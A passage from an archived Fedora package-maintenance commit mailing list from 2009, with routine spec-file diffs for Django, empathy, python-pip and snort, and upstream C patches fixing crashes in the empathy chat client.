 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From mclasen at fedoraproject.org  Mon Oct 26 00:15:25 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 00:15:25 +0000 (UTC)
Subject: rpms/empathy/F-12
	0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch, NONE,
	1.1 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch, 
	NONE,
	1.1 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch, 
	NONE, 1.1 empathy.spec, 1.82, 1.83
Message-ID: <20091026001525.7825D11C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15778

Modified Files:
	empathy.spec 
Added Files:
	0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch 
	0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch 
	0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch 
Log Message:
Some crash fixes


0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch:
 empathy-protocol-chooser.c |   76 +++++++++++++++++++++++++++------------------
 1 file changed, 47 insertions(+), 29 deletions(-)

--- NEW FILE 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch ---
>From 9ad94f9f96cb1b7aa438d264a6b8989279add8fd Mon Sep 17 00:00:00 2001
From: Guillaume Desmottes <guillaume.desmottes at collabora.co.uk>
Date: Fri, 23 Oct 2009 11:17:23 +0100
Subject: [PATCH 1/4] empathy-protocol-chooser: don't cache TpConnectionManagerProtocol in the store

TpConnectionManagerProtocol are not garanteed to stay valid so we
shouldn't cache them in the store. Instead, we cache the protocol name
and call tp_connection_manager_get_protocol each time we need it.
This should fix crashers as the ones reported in #599386.
---
 libempathy-gtk/empathy-protocol-chooser.c |   75 ++++++++++++++++++-----------
 1 files changed, 47 insertions(+), 28 deletions(-)

diff --git a/libempathy-gtk/empathy-protocol-chooser.c b/libempathy-gtk/empathy-protocol-chooser.c
index 62fedaf..9c48917 100644
--- a/libempathy-gtk/empathy-protocol-chooser.c
+++ b/libempathy-gtk/empathy-protocol-chooser.c
@@ -76,7 +76,7 @@ enum
   COL_ICON,
   COL_LABEL,
   COL_CM,
-  COL_PROTOCOL,
+  COL_PROTOCOL_NAME,
   COL_IS_GTALK,
   COL_COUNT
 };
@@ -85,7 +85,7 @@ G_DEFINE_TYPE (EmpathyProtocolChooser, empathy_protocol_chooser,
     GTK_TYPE_COMBO_BOX);
 
 static gint
-protocol_chooser_sort_protocol_value (TpConnectionManagerProtocol *protocol)
+protocol_chooser_sort_protocol_value (const gchar *protocol_name)
 {
   guint i;
   const gchar *names[] = {
@@ -97,7 +97,7 @@ protocol_chooser_sort_protocol_value (TpConnectionManagerProtocol *protocol)
 
   for (i = 0 ; names[i]; i++)
     {
-      if (strcmp (protocol->name, names[i]) == 0)
+      if (strcmp (protocol_name, names[i]) == 0)
         return i;
     }
 
@@ -110,22 +110,22 @@ protocol_chooser_sort_func (GtkTreeModel *model,
     GtkTreeIter  *iter_b,
     gpointer      user_data)
 {
-  TpConnectionManagerProtocol *protocol_a;
-  TpConnectionManagerProtocol *protocol_b;
+  gchar *protocol_a;
+  gchar *protocol_b;
   gint cmp = 0;
 
   gtk_tree_model_get (model, iter_a,
-      COL_PROTOCOL, &protocol_a,
+      COL_PROTOCOL_NAME, &protocol_a,
       -1);
   gtk_tree_model_get (model, iter_b,
-      COL_PROTOCOL, &protocol_b,
+      COL_PROTOCOL_NAME, &protocol_b,
       -1);
 
   cmp = protocol_chooser_sort_protocol_value (protocol_a);
   cmp -= protocol_chooser_sort_protocol_value (protocol_b);
   if (cmp == 0)
     {
-      cmp = strcmp (protocol_a->name, protocol_b->name);
+      cmp = strcmp (protocol_a, protocol_b);
       /* only happens for jabber where there is one entry for gtalk and one for
        * non-gtalk */
       if (cmp == 0)
@@ -139,6 +139,8 @@ protocol_chooser_sort_func (GtkTreeModel *model,
         }
     }
 
+  g_free (protocol_a);
+  g_free (protocol_b);
   return cmp;
 }
 
@@ -169,7 +171,6 @@ protocol_choosers_add_cm (EmpathyProtocolChooser *chooser,
         {
           GtkTreeIter titer;
           gboolean valid;
-          const TpConnectionManagerProtocol *haze_proto;
           TpConnectionManager *haze_cm;
 
           /* let's this CM replace the haze implementation */
@@ -178,28 +179,26 @@ protocol_choosers_add_cm (EmpathyProtocolChooser *chooser,
 
           while (valid)
             {
+              gchar *haze_proto_name = NULL;
+
               gtk_tree_model_get (GTK_TREE_MODEL (priv->store), &titer,
-                  COL_PROTOCOL, &haze_proto,
+                  COL_PROTOCOL_NAME, &haze_proto_name,
                   COL_CM, &haze_cm, -1);
 
               if (haze_cm == NULL)
                 continue;
 
-              if (haze_proto == NULL)
-                {
-                  g_object_unref (haze_cm);
-                  continue;
-                }
-
               if (!tp_strdiff (haze_cm->name, "haze") &&
-                  !tp_strdiff (haze_proto->name, proto->name))
+                  !tp_strdiff (haze_proto_name, proto->name))
                 {
                   gtk_list_store_remove (priv->store, &titer);
                   g_object_unref (haze_cm);
+                  g_free (haze_proto_name);
                   break;
                 }
 
               g_object_unref (haze_cm);
+              g_free (haze_proto_name);
               valid = gtk_tree_model_iter_next (GTK_TREE_MODEL (priv->store),
                   &titer);
             }
@@ -219,7 +218,7 @@ protocol_choosers_add_cm (EmpathyProtocolChooser *chooser,
           COL_ICON, icon_name,
           COL_LABEL, display_name,
           COL_CM, cm,
-          COL_PROTOCOL, proto,
+          COL_PROTOCOL_NAME, proto->name,
           COL_IS_GTALK, FALSE,
           -1);
 
@@ -232,7 +231,7 @@ protocol_choosers_add_cm (EmpathyProtocolChooser *chooser,
              COL_ICON, "im-google-talk",
              COL_LABEL, display_name,
              COL_CM, cm,
-             COL_PROTOCOL, proto,
+             COL_PROTOCOL_NAME, proto->name,
              COL_IS_GTALK, TRUE,
              -1);
         }
@@ -278,16 +277,16 @@ protocol_chooser_constructed (GObject *object)
           G_TYPE_STRING,    /* Icon name */
           G_TYPE_STRING,    /* Label     */
           G_TYPE_OBJECT,    /* CM */
-          G_TYPE_POINTER,   /* protocol   */
+          G_TYPE_STRING,    /* protocol name  */
           G_TYPE_BOOLEAN);  /* is gtalk  */
 
   /* Set the protocol sort function */
   gtk_tree_sortable_set_sort_func (GTK_TREE_SORTABLE (priv->store),
-      COL_PROTOCOL,
+      COL_PROTOCOL_NAME,
       protocol_chooser_sort_func,
       NULL, NULL);
   gtk_tree_sortable_set_sort_column_id (GTK_TREE_SORTABLE (priv->store),
-      COL_PROTOCOL,
+      COL_PROTOCOL_NAME,
       GTK_SORT_ASCENDING);
 
   gtk_combo_box_set_model (GTK_COMBO_BOX (object),
@@ -394,17 +393,30 @@ protocol_chooser_filter_visible_func (GtkTreeModel *model,
   EmpathyProtocolChooser *protocol_chooser = user_data;
   EmpathyProtocolChooserPriv *priv = GET_PRIV (protocol_chooser);
   TpConnectionManager *cm = NULL;
-  TpConnectionManagerProtocol *protocol = NULL;
+  gchar *protocol_name = NULL;
   gboolean visible = FALSE;
 
-  gtk_tree_model_get (model, iter, COL_CM, &cm, COL_PROTOCOL, &protocol, -1);
+  gtk_tree_model_get (model, iter,
+      COL_CM, &cm,
+      COL_PROTOCOL_NAME, &protocol_name,
+      -1);
 
-  if (cm != NULL && protocol != NULL)
+  if (cm != NULL && protocol_name != NULL)
     {
-      visible = priv->filter_func (cm, protocol, priv->filter_user_data);
-      g_object_unref (cm);
+      TpConnectionManagerProtocol *protocol;
+
+      protocol = (TpConnectionManagerProtocol *)
+        tp_connection_manager_get_protocol (cm, protocol_name);
+
+      if (protocol != NULL)
+        {
+          visible = priv->filter_func (cm, protocol, priv->filter_user_data);
+        }
     }
 
+  if (cm != NULL)
+    g_object_unref (cm);
+
   return visible;
 }
 
@@ -444,9 +456,16 @@ empathy_protocol_chooser_dup_selected (
 
       if (protocol != NULL)
         {
+          gchar *protocol_name = NULL;
+
           gtk_tree_model_get (GTK_TREE_MODEL (cur_model), &iter,
-              COL_PROTOCOL, protocol,
+              COL_PROTOCOL_NAME, &protocol_name,
               -1);
+
+          *protocol = (TpConnectionManagerProtocol *)
+            tp_connection_manager_get_protocol (cm, protocol_name);
+
+          g_free (protocol_name);
         }
 
       if (is_gtalk != NULL)
-- 
1.6.5.1


0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch:
 empathy-chat-window.c |   32 ++++++++++++++++++++++++++------
 1 file changed, 26 insertions(+), 6 deletions(-)

--- NEW FILE 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch ---
>From 2331c9bf7995be07797a42c3ebc3f91aa03db529 Mon Sep 17 00:00:00 2001
From: Rob Bradford <rob at linux.intel.com>
Date: Fri, 23 Oct 2009 17:18:05 +0100
Subject: [PATCH 2/4] empathy-chat-window: Don't update the Contact menu if visible

If the Contact menu is currently visible do not update it. Instead update it
once the menu is hidden.

Fixes: #591360
---
 src/empathy-chat-window.c |   31 ++++++++++++++++++++++++++-----
 1 files changed, 26 insertions(+), 5 deletions(-)

diff --git a/src/empathy-chat-window.c b/src/empathy-chat-window.c
index 9e89f75..382e293 100644
--- a/src/empathy-chat-window.c
+++ b/src/empathy-chat-window.c
@@ -113,6 +113,8 @@ static const GtkTargetEntry drag_types_dest[] = {
 	{ "GTK_NOTEBOOK_TAB", GTK_TARGET_SAME_APP, DND_DRAG_TYPE_TAB },
 };
 
+static void chat_window_update (EmpathyChatWindow *window);
+
 G_DEFINE_TYPE (EmpathyChatWindow, empathy_chat_window, G_TYPE_OBJECT);
 
 static void
@@ -295,6 +297,17 @@ chat_window_create_label (EmpathyChatWindow *window,
 }
 
 static void
+_submenu_notify_visible_changed_cb (GObject    *object,
+				    GParamSpec *pspec,
+				    gpointer    userdata)
+{
+	g_signal_handlers_disconnect_by_func (object,
+					      _submenu_notify_visible_changed_cb,
+					      userdata);
+	chat_window_update (EMPATHY_CHAT_WINDOW (userdata));
+}
+
+static void
 chat_window_update (EmpathyChatWindow *window)
 {
 	EmpathyChatWindowPriv *priv = GET_PRIV (window);
@@ -311,8 +324,7 @@ chat_window_update (EmpathyChatWindow *window)
 	gboolean               avatar_in_icon;
 	GtkWidget             *chat;
 	GtkWidget             *chat_close_button;
-	GtkWidget             *submenu;
-	GtkWidget             *menu;
+	GtkWidget             *menu, *submenu, *orig_submenu;
 
 	/* Get information */
 	page_num = gtk_notebook_get_current_page (GTK_NOTEBOOK (priv->notebook));
@@ -336,9 +348,18 @@ chat_window_update (EmpathyChatWindow *window)
 	/* Update Contact menu */
 	menu = gtk_ui_manager_get_widget (priv->ui_manager,
 		"/chats_menubar/menu_contact");
-	submenu = empathy_chat_get_contact_menu (priv->current_chat);
-	gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu), submenu);
-	gtk_widget_show (menu);
+	orig_submenu = gtk_menu_item_get_submenu (GTK_MENU_ITEM (menu));
+	if (!GTK_WIDGET_VISIBLE (orig_submenu))
+	{
+		submenu = empathy_chat_get_contact_menu (priv->current_chat);
+		gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu), submenu);
+		gtk_widget_show (menu);
+	} else {
+		empathy_signal_connect_weak (orig_submenu,
+					     "notify::visible",
+					     (GCallback)_submenu_notify_visible_changed_cb,
+					     G_OBJECT (window));
+	}
 
 	/* Update window title */
 	if (n_chats == 1) {
-- 
1.6.5.1


0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch:
 empathy-chat-window.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch ---
>From 024768c3ddf14234bb9ee7a8d4ab585aa4de0a3a Mon Sep 17 00:00:00 2001
From: Xavier Claessens <xclaesse at gmail.com>
Date: Sun, 25 Oct 2009 17:54:49 +0100
Subject: [PATCH 3/4] Fix crash when joining a chat, GTK_WIDGET_VISIBLE is not NULL-safe

---
 src/empathy-chat-window.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/src/empathy-chat-window.c b/src/empathy-chat-window.c
index 382e293..985fa88 100644
--- a/src/empathy-chat-window.c
+++ b/src/empathy-chat-window.c
@@ -349,8 +349,7 @@ chat_window_update (EmpathyChatWindow *window)
 	menu = gtk_ui_manager_get_widget (priv->ui_manager,
 		"/chats_menubar/menu_contact");
 	orig_submenu = gtk_menu_item_get_submenu (GTK_MENU_ITEM (menu));
-	if (!GTK_WIDGET_VISIBLE (orig_submenu))
-	{
+	if (orig_submenu == NULL || !GTK_WIDGET_VISIBLE (orig_submenu)) {
 		submenu = empathy_chat_get_contact_menu (priv->current_chat);
 		gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu), submenu);
 		gtk_widget_show (menu);
-- 
1.6.5.1



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- empathy.spec	19 Oct 2009 23:17:58 -0000	1.82
+++ empathy.spec	26 Oct 2009 00:15:24 -0000	1.83
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,6 +33,10 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
+# upstream crash fixes
+Patch6: 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch
+Patch7: 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch
+Patch8: 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -137,6 +141,9 @@ bindings to the libempathy and libempath
 %patch1 -p1 -b .pkgconfig
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
+%patch6 -p1 -b .dont-cache-conman
+%patch7 -p1 -b .dont-update-contacts
+%patch8 -p1 -b .join-chat-crash
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -245,6 +252,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Sun Oct 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Include a number of crash fixes from the stable branch
+
 * Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
 - Update to 2.28.1.
 - Drop no-settings patch.  Fixed upstream.



From smilner at fedoraproject.org  Mon Oct 26 00:25:46 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon, 26 Oct 2009 00:25:46 +0000 (UTC)
Subject: rpms/Django/EL-4 Django.spec,1.19,1.20
Message-ID: <20091026002546.53D3111C00E5@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20222

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-4/Django.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- Django.spec	10 Oct 2009 01:16:01 -0000	1.19
+++ Django.spec	26 Oct 2009 00:25:44 -0000	1.20
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From smilner at fedoraproject.org  Mon Oct 26 00:26:41 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon, 26 Oct 2009 00:26:41 +0000 (UTC)
Subject: rpms/Django/F-10 Django.spec,1.26,1.27
Message-ID: <20091026002641.11E8B11C00E5@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20727

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-10/Django.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- Django.spec	10 Oct 2009 01:14:58 -0000	1.26
+++ Django.spec	26 Oct 2009 00:26:40 -0000	1.27
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From hoangelos at fedoraproject.org  Mon Oct 26 00:51:51 2009
From: hoangelos at fedoraproject.org (Peter Halliday)
Date: Mon, 26 Oct 2009 00:51:51 +0000 (UTC)
Subject: rpms/python-pip/devel import.log, NONE, 1.1 python-pip.spec, NONE, 
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026005151.63EDE11C029D@cvs1.fedora.phx.redhat.com>

Author: hoangelos

Update of /cvs/pkgs/rpms/python-pip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28154/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-pip.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-pip-0_4-1_fc11:HEAD:python-pip-0.4-1.fc11.src.rpm:1256517782


--- NEW FILE python-pip.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%global srcname pip

Name:           python-%{srcname}
Version:        0.4
Release:        1%{?dist}
Summary:        Pip installs packages.  Python packages.  An easy_install replacement

Group:          Development/Libraries
License:        MIT
URL:            http://pip.openplans.org
Source0:        http://pypi.python.org/packages/source/p/pip/%{srcname}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel

%description

Pip is a replacement for `easy_install
<http://peak.telecommunity.com/DevCenter/EasyInstall>`_.  It uses mostly the
same techniques for finding packages, so packages that were made
easy_installable should be pip-installable as well.

pip is meant to improve on easy_install.bulletin boards, etc.).

%prep
%setup -q -n %{srcname}-%{version}
%{__sed} -i '1d' pip.py

%build
%{__python} setup.py build

%install
%{__rm} -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc PKG-INFO docs
%attr(755,root,root) %{_bindir}/pip
%{python_sitelib}/pip*

%changelog
* Mon Aug 31 2009 Peter Halliday <phalliday at excelsiorsystems.net> - 0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:10:22 -0000	1.1
+++ .cvsignore	26 Oct 2009 00:51:47 -0000	1.2
@@ -0,0 +1 @@
+pip-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:10:22 -0000	1.1
+++ sources	26 Oct 2009 00:51:48 -0000	1.2
@@ -0,0 +1 @@
+b45714d04f8fd38fe8e3d4c7600b91a2  pip-0.4.tar.gz



From hoangelos at fedoraproject.org  Mon Oct 26 00:56:12 2009
From: hoangelos at fedoraproject.org (Peter Halliday)
Date: Mon, 26 Oct 2009 00:56:12 +0000 (UTC)
Subject: rpms/python-pip/F-11 import.log, NONE, 1.1 python-pip.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026005612.64D4911C00E5@cvs1.fedora.phx.redhat.com>

Author: hoangelos

Update of /cvs/pkgs/rpms/python-pip/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31920/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-pip.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-pip-0_4-1_fc11:F-11:python-pip-0.4-1.fc11.src.rpm:1256518356


--- NEW FILE python-pip.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%global srcname pip

Name:           python-%{srcname}
Version:        0.4
Release:        1%{?dist}
Summary:        Pip installs packages.  Python packages.  An easy_install replacement

Group:          Development/Libraries
License:        MIT
URL:            http://pip.openplans.org
Source0:        http://pypi.python.org/packages/source/p/pip/%{srcname}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel

%description

Pip is a replacement for `easy_install
<http://peak.telecommunity.com/DevCenter/EasyInstall>`_.  It uses mostly the
same techniques for finding packages, so packages that were made
easy_installable should be pip-installable as well.

pip is meant to improve on easy_install.bulletin boards, etc.).

%prep
%setup -q -n %{srcname}-%{version}
%{__sed} -i '1d' pip.py

%build
%{__python} setup.py build

%install
%{__rm} -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc PKG-INFO docs
%attr(755,root,root) %{_bindir}/pip
%{python_sitelib}/pip*

%changelog
* Mon Aug 31 2009 Peter Halliday <phalliday at excelsiorsystems.net> - 0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:10:22 -0000	1.1
+++ .cvsignore	26 Oct 2009 00:56:10 -0000	1.2
@@ -0,0 +1 @@
+pip-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:10:22 -0000	1.1
+++ sources	26 Oct 2009 00:56:11 -0000	1.2
@@ -0,0 +1 @@
+b45714d04f8fd38fe8e3d4c7600b91a2  pip-0.4.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 01:04:27 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 01:04:27 +0000 (UTC)
Subject: rpms/snort/devel .cvsignore, 1.12, 1.13 snort.spec, 1.41,
	1.42 sources, 1.12, 1.13 snort-2.7.0.1-glibc.patch, 1.1, NONE
Message-ID: <20091026010427.60CD111C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/snort/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3477

Modified Files:
	.cvsignore snort.spec sources 
Removed Files:
	snort-2.7.0.1-glibc.patch 
Log Message:
update for CVE in snort



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snort/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	17 Feb 2009 00:33:24 -0000	1.12
+++ .cvsignore	26 Oct 2009 01:04:25 -0000	1.13
@@ -1 +1 @@
-snort-2.8.3.2.tar.gz
+snort-2.8.5.1.tar.gz


Index: snort.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snort/devel/snort.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- snort.spec	27 Jul 2009 04:31:49 -0000	1.41
+++ snort.spec	26 Oct 2009 01:04:26 -0000	1.42
@@ -1,14 +1,13 @@
 Summary:        Intrusion detection system
 Name:           snort
-Version:        2.8.3.2
-Release:        4%{?dist}
+Version:        2.8.5.1
+Release:        1%{?dist}
 License:        GPLv2
 Group:          Applications/Internet
 Source0:        http://www.snort.org/dl/current/snort-%{version}.tar.gz
 Source1:        snortd
 Source2:        README.fedora
 Source3:        sysconfig.snort
-Patch0:         snort-2.7.0.1-glibc.patch
 Url:            http://www.snort.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires:       libpcap >= 0.4
@@ -147,7 +146,6 @@ Requires libnet rpm.
 
 %prep
 %setup -q
-%patch0 -p1 -b .glibc
 cp %{SOURCE2} doc/
 sed -i -e 's|libnet-config|libnet10-config|g' configure
 sed -i -e 's|\-lnet|\-lnet10|g' configure
@@ -495,6 +493,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.5.1-1
+- update for CVE-2009-3641
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snort/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	17 Feb 2009 00:33:24 -0000	1.12
+++ sources	26 Oct 2009 01:04:26 -0000	1.13
@@ -1 +1 @@
-f75547da33446ddb4ca07eefd9ce31dc  snort-2.8.3.2.tar.gz
+b1abf3a9fa3486720c9a2b5eff920417  snort-2.8.5.1.tar.gz


--- snort-2.7.0.1-glibc.patch DELETED ---



From hoangelos at fedoraproject.org  Mon Oct 26 01:27:25 2009
From: hoangelos at fedoraproject.org (Peter Halliday)
Date: Mon, 26 Oct 2009 01:27:25 +0000 (UTC)
Subject: rpms/python-pip/F-12 import.log, NONE, 1.1 python-pip.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026012725.1C16711C029B@cvs1.fedora.phx.redhat.com>

Author: hoangelos

